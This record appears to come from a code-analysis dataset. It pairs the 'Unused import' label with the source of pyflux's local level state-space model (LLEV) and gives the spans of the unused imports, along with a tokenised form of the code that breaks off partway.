[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2 ]
Unused import
RJT1990/pyflux/pyflux/ssm/llm.py
[ { "content": "from .. import inference as ifr\nfrom .. import distributions as dst\nfrom .. import output as op\nfrom .. import tests as tst\nfrom .. import tsm as tsm\nfrom .. import data_check as dc\nimport numpy as np\nimport pandas as pd\nimport scipy.stats as ss\nfrom math import exp, sqrt, log, tanh, pi\nimport copy\nfrom scipy import optimize\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport numdifftools as nd\nfrom kalman import *\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class LLEV(tsm.TSM):\n\t\"\"\" Inherits time series methods from TSM class.\n\n\t**** LOCAL LEVEL MODEL ****\n\n\tParameters\n\t----------\n\tdata : pd.DataFrame or np.ndarray\n\t\tField to specify the time series data that will be used.\n\n\tinteg : int (default : 0)\n\t\tSpecifies how many time to difference the time series.\n\n\ttarget : str (pd.DataFrame) or int (np.ndarray)\n\t\tSpecifies which column name or array index to use. By default, first\n\t\tcolumn/array will be selected as the dependent variable.\n\t\"\"\"\n\n\n\n\n\n\n\n", "metadata": "root.LLEV", "header": "['module', '___EOS___']", "index": 17 }, { "content": "\tdef __init__(self,data,integ=0,target=None):\n\n\t\t# Initialize TSM object\n\t\ttsm.TSM.__init__(self,'LLEV')\n\n\t\t# Parameters\n\t\tself.integ = integ\n\t\tself.param_no = 2\n\t\tself.max_lag = 0\n\t\tself.hess_type = 'numerical'\n\t\tself.param_hide = 0 # Whether to cutoff variance parameters from results\n\t\tself.supported_methods = [\"MLE\",\"MAP\",\"Laplace\",\"M-H\",\"BBVI\"]\n\t\tself.default_method = \"MLE\"\n\t\tself.model_name = \"LLEV\"\n\n\t\t# Format the data\n\t\tself.data, self.data_name, self.data_type, self.index = dc.data_check(data,target)\n\n\t\t# Difference data\n\t\tX = self.data\n\t\tfor order in range(self.integ):\n\t\t\tX = np.diff(X)\n\t\t\tself.data_name = \"Differenced \" + self.data_name\n\t\tself.data = X\t\t\n\t\tself.data_length = X\n\t\tself.cutoff = 0\n\n\t\t# Add parameter information\n\n\t\tself.param_desc.append({'name' : 'Sigma_eps','index': 0, 'prior': ifr.Uniform(transform='exp'), 'q': dst.Normal(0,3)})\n\t\tself.param_desc.append({'name' : 'Sigma_eta','index': 1, 'prior': ifr.Uniform(transform='exp'), 'q': dst.Normal(0,3)})", "metadata": "root.LLEV.__init__", "header": "['class', 'LLEV', '(', 'tsm', '.', 'TSM', ')', ':', '___EOS___']", "index": 35 }, { "content": "\tdef model(self,beta):\n\t\t\"\"\" Creates the structure of the model\n\n\t\tParameters\n\t\t----------\n\t\tbeta : np.ndarray\n\t\t\tContains untransformed starting values for parameters\n\n\t\tReturns\n\t\t----------\n\t\tv : np.ndarray\n\t\t\tContains the errors\n\t\t\"\"\"\t\t\n\t\tT = np.identity(1)\n\t\tR = np.identity(1)\n\t\tZ = np.identity(1)\n\t\tH = np.identity(1)*self.param_desc[0]['prior'].transform(beta[0])\n\t\tQ = np.identity(1)*self.param_desc[1]['prior'].transform(beta[1])\n\t\treturn univariate_kalman(self.data,Z,H,T,Q,R)", "metadata": "root.LLEV.model", "header": "['class', 'LLEV', '(', 'tsm', '.', 'TSM', ')', ':', '___EOS___']", "index": 67 }, { "content": "\tdef likelihood(self,beta):\n\t\t_, F, v = self.model(beta)\n\n\t\tloglik = 0\n\t\tfor i in xrange(0,self.data.shape[0]):\n\t\t\tloglik += np.linalg.slogdet(F[:,:,i])[1] + np.dot(v[i],np.dot(np.linalg.pinv(F[:,:,i]),v[i]))\n\t\treturn -(-((self.data.shape[0]/2)*log(2*pi))-0.5*loglik.T[0].sum())", "metadata": "root.LLEV.likelihood", "header": "['class', 'LLEV', '(', 'tsm', '.', 'TSM', ')', ':', '___EOS___']", "index": 87 }, { "content": "\tdef forecast_model(self,beta,h):\n\t\t\"\"\" Creates the structure of the model\n\n\t\tParameters\n\t\t----------\n\t\tbeta : np.ndarray\n\t\t\tContains untransformed starting values for parameters\n\n\t\tReturns\n\t\t----------\n\t\tv : np.ndarray\n\t\t\tContains the errors\n\t\t\"\"\"\t\t\n\t\tT = np.identity(1)\n\t\tR = np.identity(1)\n\t\tZ = np.identity(1)\n\t\tH = np.identity(1)*self.param_desc[0]['prior'].transform(beta[0])\n\t\tQ = np.identity(1)*self.param_desc[1]['prior'].transform(beta[1])\n\t\treturn univariate_kalman_fcst(self.data,Z,H,T,Q,R,h)", "metadata": "root.LLEV.forecast_model", "header": "['class', 'LLEV', '(', 'tsm', '.', 'TSM', ')', ':', '___EOS___']", "index": 95 }, { "content": "\tdef predict(self,h=5,past_values=20,intervals=True,**kwargs):\n\n\t\tfigsize = kwargs.get('figsize',(10,7))\n\t\t\n\t\t\"\"\" Makes forecast with the estimated model\n\n\t\tParameters\n\t\t----------\n\t\th : int (default : 5)\n\t\t\tHow many steps ahead would you like to forecast?\n\n\t\tpast_values : int (default : 20)\n\t\t\tHow many past observations to show on the forecast graph?\n\n\t\tintervals : Boolean\n\t\t\tWould you like to show prediction intervals for the forecast?\n\n\t\tReturns\n\t\t----------\n\t\t- Plot of the forecast\n\t\t- Error bars, forecasted_values, plot_values, plot_index\n\t\t\"\"\"\t\t\n\n\t\tif len(self.params) == 0:\n\t\t\traise Exception(\"No parameters estimated!\")\n\t\telse:\n\t\t\t# Retrieve data, dates and (transformed) parameters\t\t\t\n\t\t\ta, P = self.forecast_model(self.params,h)\n\t\t\tdate_index = self.shift_dates(h)\n\n\t\t\tplot_values = a[0][len(a[0])-h-past_values:len(a[0])]\n\t\t\tforecasted_values = a[0][len(a[0])-h:len(a[0])]\n\t\t\tlower = forecasted_values - 1.98*np.power(P[0][0][len(P[0][0])-h:len(P[0][0])],0.5)\n\t\t\tupper = forecasted_values + 1.98*np.power(P[0][0][len(P[0][0])-h:len(P[0][0])],0.5)\n\t\t\tlower = np.append(plot_values[len(plot_values)-h-1],lower)\n\t\t\tupper = np.append(plot_values[len(plot_values)-h-1],upper)\n\n\t\t\tplot_index = date_index[len(date_index)-h-past_values:len(date_index)]\n\n\t\t\tplt.figure(figsize=figsize)\n\t\t\tif intervals == True:\n\t\t\t\tplt.fill_between(date_index[len(date_index)-h-1:len(date_index)], lower, upper, alpha=0.2)\t\t\t\n\n\t\t\tplt.plot(plot_index,plot_values)\n\t\t\tplt.title(\"Forecast for \" + self.data_name)\n\t\t\tplt.xlabel(\"Time\")\n\t\t\tplt.ylabel(self.data_name)\n\t\t\tplt.show()\n\n\t\t\tself.predictions = {'error_bars' : np.array([lower,upper]), 'forecasted_values' : forecasted_values, 'plot_values' : plot_values, 'plot_index': plot_index}", "metadata": "root.LLEV.predict", "header": "['class', 'LLEV', '(', 'tsm', '.', 'TSM', ')', ':', '___EOS___']", "index": 116 }, { "content": "\tdef plot_fit(self,**kwargs):\n\t\t\"\"\" Plots the fit of the model\n\n\t\tReturns\n\t\t----------\n\t\tNone (plots data and the fit)\n\t\t\"\"\"\n\n\t\tfigsize = kwargs.get('figsize',(10,7))\n\n\t\tif len(self.params) == 0:\n\t\t\traise Exception(\"No parameters estimated!\")\n\t\telse:\n\t\t\tdate_index = self.index\n\t\t\tmu, _, _ = self.model(self.params)\n\t\t\tmu = mu[0][0:len(mu[0])-1]\n\t\t\tplt.figure(figsize=figsize)\t\n\t\t\t\n\t\t\tplt.subplot(3, 1, 1)\n\t\t\tplt.title(self.data_name + \" Raw and Filtered\")\t\n\n\t\t\tplt.plot(date_index,self.data,label='Data')\n\t\t\tplt.plot(date_index,mu,label='Filter',c='black')\n\t\t\tplt.legend(loc=2)\n\t\t\t\n\t\t\tplt.subplot(3, 1, 2)\n\t\t\tplt.title(self.data_name + \" Local Level\")\t\n\t\t\tplt.plot(date_index,mu)\n\t\t\t\n\t\t\tplt.subplot(3, 1, 3)\n\t\t\tplt.title(\"Measurement Noise\")\t\n\t\t\tplt.plot(date_index,self.data-mu)\n\t\t\tplt.show()", "metadata": "root.LLEV.plot_fit", "header": "['class', 'LLEV', '(', 'tsm', '.', 'TSM', ')', ':', '___EOS___']", "index": 168 } ]
[ { "span": "import pandas as pd", "start_line": 7, "start_column": 0, "end_line": 7, "end_column": 19 }, { "span": "import scipy.stats as ss", "start_line": 8, "start_column": 0, "end_line": 8, "end_column": 24 }, { "span": "from math import exp, sqrt, log, tanh, pi", "start_line": 9, "start_column": 0, "end_line": 9, "end_column": 41 }, { "span": "import copy", "start_line": 10, "start_column": 0, "end_line": 10, "end_column": 11 }, { "span": "from scipy import optimize", "start_line": 11, "start_column": 0, "end_line": 11, "end_column": 26 }, { "span": "import seaborn as sns", "start_line": 13, "start_column": 0, "end_line": 13, "end_column": 21 }, { "span": "import numdifftools as nd", "start_line": 14, "start_column": 0, "end_line": 14, "end_column": 25 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "from_", "._", "._", "import_", "inference_", "as_", "if", "r_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "._", "._", "import_", "distributions_", "as_", "dst_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "._", "._", "import_", "output_", "as_", "op_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "._", "._", "import_", "tests_", "as_", "tst_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "._", "._", "import_", "ts", "m_", "as_", "ts", "m_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "._", "._", "import_", "data\\u", "check_", "as_", "dc_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "numpy_", "as_", "np_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "pandas_", "as_", "pd_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "scipy_", "._", "stats_", "as_", "ss_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "math_", "import_", "exp_", ",_", "sqrt_", ",_", "log_", ",_", "tanh_", ",_", "pi_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "copy_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "scipy_", "import_", "optimize_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "matplotlib_", "._", "pyplot_", "as_", "plt_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "seabor", "n_", "as_", "sns_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "num", "diff", "tools_", "as_", "nd_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "kal", "man_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "LLE", "V_", "(_", "ts", "m_", "._", "TS", "M_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "\"\"\"", " ", "Inherit", "s", " ", "time", " ", "series", " ", "method", "s", " ", "from", " ", "TS", "M", " ", "class", ".", "\\", "10", ";", "\\", "10", ";", "\t", "****", " ", "LOCAL", " ", "LE", "VEL", " ", "MODEL", " ", "****", "\\", "10", ";", "\\", "10", ";", "\t", "Parameter", "s", "\\", "10", ";", "\t", "----------", "\\", "10", ";", "\t", "data", " ", ":", " ", "pd", ".", "Data", "Frame", " ", "or", " ", "np", ".", "ndar", "ray", "\\", "10", ";", "\t", "\t", "Field", " ", "to", " ", "speci", "fy", " ", "the", " ", "time", " ", "series", " ", "data", " ", "tha", "t", " ", "will", " ", "be", " ", "used", ".", "\\", "10", ";", "\\", "10", ";", "\t", "integ", " ", ":", " ", "int", " ", "(", "default", " ", ":", " ", "0", ")", "\\", "10", ";", "\t", "\t", "Specifie", "s", " ", "how", " ", "many", " ", "time", " ", "to", " ", "difference", " ", "the", " ", "time", " ", "series", ".", "\\", "10", ";", "\\", "10", ";", "\t", "target", " ", ":", " ", "str", " ", "(", "pd", ".", "Data", "Frame", ")", " ", "or", " ", "int", " ", "(", "np", ".", "ndar", "ray", ")", "\\", "10", ";", "\t", "\t", "Specifie", "s", " ", "whi", "ch", " ", "column", " ", "name", " ", "or", " ", "array", " ", "index", " ", "to", " ", "use", ".", " ", "By", " ", "default", ",", " ", "first", "\\", "10", ";", "\t", "\t", "column", "/", "array", " ", "will", " ", "be", " ", "selecte", "d", " ", "as", " ", "the", " ", "dependent", " ", "variab", "le", ".", "\\", "10", ";", "\t", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "LLE", "V_", "(_", "ts", "m_", "._", "TS", "M_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "data_", ",_", "integ", "_", "=_", "0_", ",_", "target_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Initializ", "e", " ", "TS", "M", " ", "object_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "ts", "m_", "._", "TS", "M_", "._", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "'", "LLE", "V", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Parameters_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "integ", "_", "=_", "integ", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "param", "\\u", "no_", "=_", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "max", "\\u", "lag_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "hess", "\\u", "type_", "=_", "'", "numerical", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "param", "\\u", "hide_", "=_", "0_", "#", " ", "Whe", "ther", " ", "to", " ", "cuto", "ff", " ", "varian", "ce", " ", "parameter", "s", " ", "from", " ", "results_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "support", "ed", "\\u", "methods_", "=_", "[_", "\"", "ML", "E", "\"_", ",_", "\"", "MAP", "\"_", ",_", "\"", "Lap", "lace", "\"_", ",_", "\"", "M", "-", "H", "\"_", ",_", "\"", "BB", "VI", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "default", "\\u", "method_", "=_", "\"", "ML", "E", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "model", "\\u", "name_", "=_", "\"", "LLE", "V", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Format", " ", "the", " ", "data_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "data_", ",_", "self_", "._", "data\\u", "name_", ",_", "self_", "._", "data\\u", "type_", ",_", "self_", "._", "index_", "=_", "dc_", "._", "data\\u", "check_", "(_", "data_", ",_", "target_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Difference", " ", "data_", "\\u\\u\\uNL\\u\\u\\u_", "X_", "=_", "self_", "._", "data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "order_", "in_", "range_", "(_", "self_", "._", "integ", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "X_", "=_", "np_", "._", "diff_", "(_", "X_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "data\\u", "name_", "=_", "\"", "Difference", "d", " ", "\"_", "+_", "self_", "._", "data\\u", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "data_", "=_", "X_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "data\\u", "length_", "=_", "X_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "cutoff_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Add", " ", "parameter", " ", "information_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "param", "\\u", "desc_", "._", "append_", "(_", "{_", "'", "name", "'_", ":_", "'", "Sigm", "a", "\\u", "eps", "'_", ",_", "'", "index", "'_", ":_", "0_", ",_", "'", "prior", "'_", ":_", "if", "r_", "._", "Uniform", "_", "(_", "transform_", "=_", "'", "exp", "'_", ")_", ",_", "'", "q", "'_", ":_", "dst_", "._", "Normal_", "(_", "0_", ",_", "3_", ")_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "param", "\\u", "desc_", "._", "append_", "(_", "{_", "'", "name", "'_", ":_", "'", "Sigm", "a", "\\u", "eta", "'_", ",_", "'", "index", "'_", ":_", "1_", ",_", "'", "prior", "'_", ":_", "if", "r_", "._", "Uniform", "_", "(_", "transform_", "=_", "'", "exp", "'_", ")_", ",_", "'", "q", "'_", ":_", "dst_", "._", "Normal_", "(_", "0_", ",_", "3_", ")_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "LLE", "V_", "(_", "ts", "m_", "._", "TS", "M_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "model_", "(_", "self_", ",_", "beta_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", " ", "Creat", "es", " ", "the", " ", "structure", " ", "of", " ", "the", " ", "model", "\\", "10", ";", "\\", "10", ";", "\t", "\t", "Parameter", "s", "\\", "10", ";", "\t", "\t", "----------", "\\", "10", ";", "\t", "\t", "beta", " ", ":", " ", "np", ".", "ndar", "ray", "\\", "10", ";", "\t\t\t", "Contain", "s", " ", "untr", "ans", "formed", " ", "startin", "g", " ", "values", " ", "for", " ", "parameter", "s", "\\", "10", ";", "\\", "10", ";", "\t", "\t", "Return", "s", "\\", "10", ";", "\t", "\t", "----------", "\\", "10", ";", "\t", "\t", "v", " ", ":", " ", "np", ".", "ndar", "ray", "\\", "10", ";", "\t\t\t", "Contain", "s", " ", "the", " ", "error", "s", "\\", "10", ";", "\t", "\t", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "T_", "=_", "np_", "._", "identity_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "R_", "=_", "np_", "._", "identity_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Z_", "=_", "np_", "._", "identity_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "H_", "=_", "np_", "._", "identity_", "(_", "1_", ")_", "*_", "self_", "._", "param", "\\u", "desc_", "[_", "0_", "]_", "[_", "'", "prior", "'_", "]_", "._", "transform_", "(_", "beta_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Q_", "=_", "np_", "._", "identity_", "(_", "1_", ")_", "*_", "self_", "._", "param", "\\u", "desc_", "[_", "1_", "]_", "[_", "'", "prior", "'_", "]_", "._", "transform_", "(_", "beta_", "[_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "univ", "aria", "te", "\\u", "kal", "man_", "(_", "self_", "._", "data_", ",_", "Z_", ",_", "H_", ",_", "T_", ",_", "Q_", ",_", "R_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "LLE", "V_", "(_", "ts", "m_", "._", "TS", "M_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "likelihood_", "(_", "self_", ",_", "beta_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\\u_", ",_", "F_", ",_", "v_", "=_", "self_", "._", "model_", "(_", "beta_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "loglik", "_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "xrange_", "(_", "0_", ",_", "self_", "._", "data_", "._", "shape_", "[_", "0_", "]_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "loglik", "_", "+=_", "np_", "._", "linalg_", "._", "slo", "gde", "t_", "(_", "F_", "[_", ":_", ",_", ":_", ",_", "i_", "]_", ")_", "[_", "1_", "]_", "+_", "np_", "._", "dot_", "(_", "v_", "[_", "i_", "]_", ",_", "np_", "._", "dot_", "(_", "np_", "._", "linalg_", "._", "pin", "v_", "(_", "F_", "[_", ":_", ",_", ":_", ",_", "i_", "]_", ")_", ",_", "v_", "[_", "i_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "-_", "(_", "-_", "(_", "(_", "self_", "._", "data_", "._", "shape_", "[_", "0_", "]_", "/_", "2_", ")_", "*_", "log_", "(_", "2_", "*_", "pi_", ")_", ")_", "-_", "0.5_", "*_", "loglik", "_", "._", "T_", "[_", "0_", "]_", "._", "sum_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "LLE", "V_", "(_", "ts", "m_", "._", "TS", "M_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "forecast", "\\u", "model_", "(_", "self_", ",_", "beta_", ",_", "h_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", " ", "Creat", "es", " ", "the", " ", "structure", " ", "of", " ", "the", " ", "model", "\\", "10", ";", "\\", "10", ";", "\t", "\t", "Parameter", "s", "\\", "10", ";", "\t", "\t", "----------", "\\", "10", ";", "\t", "\t", "beta", " ", ":", " ", "np", ".", "ndar", "ray", "\\", "10", ";", "\t\t\t", "Contain", "s", " ", "untr", "ans", "formed", " ", "startin", "g", " ", "values", " ", "for", " ", "parameter", "s", "\\", "10", ";", "\\", "10", ";", "\t", "\t", "Return", "s", "\\", "10", ";", "\t", "\t", "----------", "\\", "10", ";", "\t", "\t", "v", " ", ":", " ", "np", ".", "ndar", "ray", "\\", "10", ";", "\t\t\t", "Contain", "s", " ", "the", " ", "error", "s", "\\", "10", ";", "\t", "\t", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "T_", "=_", "np_", "._", "identity_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "R_", "=_", "np_", "._", "identity_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Z_", "=_", "np_", "._", "identity_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "H_", "=_", "np_", "._", "identity_", "(_", "1_", ")_", "*_", "self_", "._", "param", "\\u", "desc_", "[_", "0_", "]_", "[_", "'", "prior", "'_", "]_", "._", "transform_", "(_", "beta_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Q_", "=_", "np_", "._", "identity_", "(_", "1_", ")_", "*_", "self_", "._", "param", "\\u", "desc_", "[_", "1_", "]_", "[_", "'", "prior", "'_", "]_", "._", "transform_", "(_", "beta_", "[_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "univ", "aria", "te", "\\u", "kal", "man", "\\u", "fcs", "t_", "(_", "self_", "._", "data_", ",_", "Z_", ",_", "H_", ",_", "T_", ",_", "Q_", ",_", "R_", ",_", "h_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "LLE", "V_", "(_", "ts", "m_", "._", "TS", "M_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "predict_", "(_", "self_", ",_", "h_", "=_", "5_", ",_", "past", "\\u", "values_", "=_", "20_", ",_", "intervals_", "=_", "True_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "figsize_", "=_", "kwargs_", "._", "get_", "(_", "'", "figs", "ize", "'_", ",_", "(_", "10_", ",_", "7_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"\"", " ", "Make", "s", " ", "forecast", " ", "with", " ", "the", " ", "estimate", "d", " ", "model", "\\", "10", ";", "\\", "10", ";", "\t", "\t", "Parameter", "s", "\\", "10", ";", "\t", "\t", "----------", "\\", "10", ";", "\t", "\t", "h", " ", ":", " ", "int", " ", "(", "default", " ", ":", " ", "5", ")", "\\", "10", ";", "\t\t\t", "Ho", "w", " ", "many", " ", "step", "s", " ", "ahe", "ad", " ", "wou", "ld", " ", "you", " ", "like", " ", "to", " ", "forecast", "?", "\\", "10", ";", "\\", "10", ";", "\t", "\t", "past", "\\u", "values", " ", ":", " ", "int", " ", "(", "default", " ", ":", " ", "20", ")", "\\", "10", ";", "\t\t\t", "Ho", "w", " ", "many", " ", "past", " ", "observa", "tion", "s", " ", "to", " ", "show", " ", "on", " ", "the", " ", "forecast", " ", "graph", "?", "\\", "10", ";", "\\", "10", ";", "\t", "\t", "interval", "s", " ", ":", " ", "Boo", "lean", "\\", "10", ";", "\t\t\t", "Wo", "ul", "d", " ", "you", " ", "like", " ", "to", " ", "show", " ", "predicti", "on", " ", "interval", "s", " ", "for", " ", "the", " ", "forecast", "?", "\\", "10", ";", "\\", "10", ";", "\t", "\t", "Return", "s", "\\", "10", ";", "\t", "\t", "----------", "\\", "10", ";", "\t", "\t", "-", " ", "Plot", " ", "of", " ", "the", " ", "forecast", "\\", "10", ";", "\t", "\t", "-", " ", "Error", " ", "bar", "s", ",", " ", "forecast", "ed", "\\u", "values", ",", " ", "plot", "\\u", "values", ",", " ", "plot", "\\u", "index", "\\", "10", ";", "\t", "\t", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "len_", "(_", "self_", "._", "params_", ")_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "raise_", "Exception_", "(_", "\"", "No", " ", "parameter", "s", " ", "estimate", "d", "!\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Retrieve", " ", "data", ",", " ", "dates", " ", "and", " ", "(", "transforme", "d", ")", " ", "parameter", "s", "\t\t\t_", "\\u\\u\\uNL\\u\\u\\u_", 